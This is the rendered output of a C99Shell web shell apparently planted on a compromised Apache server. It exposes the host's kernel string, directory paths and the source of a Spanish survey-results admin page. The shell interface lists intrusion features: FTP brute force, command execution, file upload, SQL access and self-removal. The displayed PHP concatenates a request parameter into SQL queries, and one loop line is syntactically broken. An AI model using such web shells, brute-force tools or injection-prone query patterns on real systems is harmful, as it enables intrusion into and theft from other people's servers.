!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.3.29 

uname -a: Linux tardis23.nocplanet.net 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024
x86_64
 

 

Safe-mode: OFF (not secure)

/home/memoriacel/public_html/2018/panel/   drwxr-xr-x
Free 985.27 GB of 1859.98 GB (52.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     resultados-encuesta.php (7.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
$pagina_actual
="opciones-encuestas";
$categoria_actual="encuestas";
require_once(
"includes/config.php");
require_once(
"includes/funciones.php");

$id=cadena_segura($_GET["id"],11);  
$result=$mysqli->query("
    SELECT titulo
    FROM encuesta
    WHERE id = '"
.$id."'
"
);
$encuesta=mysqli_fetch_assoc($result);

$opciones=$mysqli->query("
    SELECT oe.id, oe.valor, count(ve.id) AS cantidad
    FROM opcion_encuesta oe
    LEFT JOIN voto_encuesta ve ON ve.id_opcion=oe.id
    WHERE oe.id_encuesta = '"
.$id."'
    GROUP BY oe.id
    ORDER BY oe.orden
"
);

$result=$mysqli->query("
    SELECT count(ve.id) AS cantidad
    FROM voto_encuesta ve
    WHERE ve.id_encuesta = '"
.$id."'
"
);
$cantidad_votos=mysqli_fetch_assoc($result);

?><!DOCTYPE html>
<html lang="es">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>Panel administrador</title>
    
    <? include('includes/tipografias.php');?>

    <!-- Bootstrap Core CSS -->
    <link href="bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet">

    <!-- MetisMenu CSS -->
    <link href="bower_components/metisMenu/dist/metisMenu.min.css" rel="stylesheet">

    <!-- Custom CSS -->
    <link href="dist/css/sb-admin-2.css" rel="stylesheet">
    <link href="css/cds.css" rel="stylesheet" type="text/css">

    <!-- Custom Fonts -->
    <link href="bower_components/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">

    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
        <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
    <![endif]-->

</head>

<body>

    

    <div id="wrapper">

        <!-- Navigation -->
        <? require('includes/nav.php');?>

        <div id="page-wrapper">
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header">Opciones de <?=utf8_encode($encuesta["titulo"])?></h1>
                </div>
                <!-- /.col-lg-12 -->
            </div>
            <div class="row">
                <div class="col-lg-12">
                    <div class="panel panel-default">
                        
                        <!-- /.panel-heading -->
                        <div class="panel-body">
                            <div class="table-responsive">

                                <p><?=$cantidad_votos["cantidad"]?> votos registrados</p>
    
                                <table class="table">
                                    <thead>
                                        <tr>
                                            <th>Opción</th>
                                            <th>Votos</th>
                                        </tr>
                                    </thead>
                                    <tbody>
                                        <? while ($item mysqli_fetch_assoc($opciones)){
                                            
?>
                                            <tr title="<?=$item["id"]?>">
                                                <td><?=utf8_encode($item["valor"])?></td>
                                                <td><?=utf8_encode($item["cantidad"])?> (<?=(int)($item["cantidad"]/$cantidad_votos["cantidad"]*100)?>%)</td>                          
                                            </tr>
                                        <? }?>                              
                                    </tbody>
                                </table>

                                <p><a class="btn btn-info" href="administrar-encuestas.php">Volver al listado</a></p>
                                
                            </div>
                            <!-- /.table-responsive -->
                        </div>
                        <!-- /.panel-body -->
                    </div>
                    <!-- /.panel -->
                </div>
                <!-- /.col-lg-12 -->
            </div>
            <!-- /.row -->
        </div>
        <!-- /#page-wrapper -->

    </div>
    <!-- /#wrapper -->

    <!-- jQuery -->
    <script src="bower_components/jquery/dist/jquery.min.js"></script>
    <script src="js/jquery-ui-1.9.2.custom.min.js"></script>

    <!-- Bootstrap Core JavaScript -->
    <script src="bower_components/bootstrap/dist/js/bootstrap.min.js"></script>

    <!-- Metis Menu Plugin JavaScript -->
    <script src="bower_components/metisMenu/dist/metisMenu.min.js"></script>

    <!-- Custom Theme JavaScript -->
    <script src="dist/js/sb-admin-2.js"></script>
    
    <script>
    // Fill modal with content from link href
    $("#modal-acciones").on("show.bs.modal", function(e) {
        var link = $(e.relatedTarget);
        $(this).find(".modal-content").load(link.attr("href"));
    });            
    </script>
    
    <script type="text/javascript">
        /* when the DOM is ready */
        jQuery(document).ready(function() {
            /* grab important elements */
            var sortInput = jQuery('#sort_order');
            var submit = jQuery('#autoSubmit');
            var messageBox = jQuery('#message-box');
            var list = jQuery('#sortable-list');
            /* create requesting function to avoid duplicate code */
            var request = function() {
                jQuery.ajax({
                    beforeSend: function() {
                        messageBox.text('Actualizando cambios...');
                    },
                    complete: function() {
                        messageBox.html('Cambios guardados con exito.');
                        //console.log("esto va al guardar: "+sortInput.val());
                    },
                    data: 'sort_order=' + sortInput.val() + '&ajax=' + 1 + '&do_submit=1&byajax=1'+'&tabla=opcion_encuesta', //need [0]?
                    type: 'post',
                    url: 'guardar_orden.php'
                });
            };
            /* worker function */
            var fnSubmit = function(save) {
                var sortOrder = [];
                list.children('tr').each(function(){
                    sortOrder.push(jQuery(this).data('id'));
                });
                sortInput.val(sortOrder.join(','));
                console.log(sortInput.val());
                if(save) {
                    request();
                }
            };
            /* store values */
            list.children('tr').each(function() {
                var li = jQuery(this);
                li.data('id',li.attr('title')).attr('title','');
            });
            /* sortables */
            list.sortable({
                opacity: 0.7,
                update: function() {
                    fnSubmit(1);//(submit[0].checked);
                }
            });
            list.disableSelection();
            /* ajax form submission */
            jQuery('#dd-form').bind('submit',function(e) {
                if(e) e.preventDefault();
                fnSubmit(true);
            });
        });
        </script>

</body>

</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0011 ]--